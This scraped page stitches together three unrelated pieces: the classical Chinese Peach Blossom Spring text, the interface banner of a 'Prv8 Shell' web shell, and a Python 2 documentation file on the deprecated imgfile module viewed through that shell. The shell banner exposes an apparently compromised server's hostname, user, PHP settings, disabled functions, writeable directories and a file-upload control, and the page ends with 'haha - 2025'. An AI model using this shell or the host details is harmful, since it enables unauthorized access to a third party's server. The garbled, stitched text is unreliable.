晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /proc/thread-self/root/usr/share/doc/python2-docs/html/_sources/library/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/thread-self/root/usr/share/doc/python2-docs/html/_sources/library/imgfile.rst.txt
:mod:`imgfile` --- Support for SGI imglib files
===============================================

.. module:: imgfile
   :platform: IRIX
   :synopsis: Support for SGI imglib files.
   :deprecated:

.. deprecated:: 2.6
   The :mod:`imgfile` module has been removed in Python 3.



The :mod:`imgfile` module allows Python programs to access SGI imglib image
files (also known as :file:`.rgb` files).  The module is far from complete, but
is provided anyway since the functionality that there is enough in some cases.
Currently, colormap files are not supported.

The module defines the following variables and functions:


.. exception:: error

   This exception is raised on all errors, such as unsupported file type, etc.


.. function:: getsizes(file)

   This function returns a tuple ``(x, y, z)`` where *x* and *y* are the size of
   the image in pixels and *z* is the number of bytes per pixel. Only 3 byte RGB
   pixels and 1 byte greyscale pixels are currently supported.


.. function:: read(file)

   This function reads and decodes the image on the specified file, and returns it
   as a Python string. The string has either 1 byte greyscale pixels or 4 byte RGBA
   pixels. The bottom left pixel is the first in the string. This format is
   suitable to pass to :func:`gl.lrectwrite`, for instance.


.. function:: readscaled(file, x, y, filter[, blur])

   This function is identical to read but it returns an image that is scaled to the
   given *x* and *y* sizes. If the *filter* and *blur* parameters are omitted
   scaling is done by simply dropping or duplicating pixels, so the result will be
   less than perfect, especially for computer-generated images.

   Alternatively, you can specify a filter to use to smooth the image after
   scaling. The filter forms supported are ``'impulse'``, ``'box'``,
   ``'triangle'``, ``'quadratic'`` and ``'gaussian'``. If a filter is specified
   *blur* is an optional parameter specifying the blurriness of the filter. It
   defaults to ``1.0``.

   :func:`readscaled` makes no attempt to keep the aspect ratio correct, so that is
   the users' responsibility.


.. function:: ttob(flag)

   This function sets a global flag which defines whether the scan lines of the
   image are read or written from bottom to top (flag is zero, compatible with SGI
   GL) or from top to bottom(flag is one, compatible with X).  The default is zero.


.. function:: write(file, data, x, y, z)

   This function writes the RGB or greyscale data in *data* to image file *file*.
   *x* and *y* give the size of the image, *z* is 1 for 1 byte greyscale images or
   3 for RGB images (which are stored as 4 byte values of which only the lower
   three bytes are used). These are the formats returned by :func:`gl.lrectread`.

haha - 2025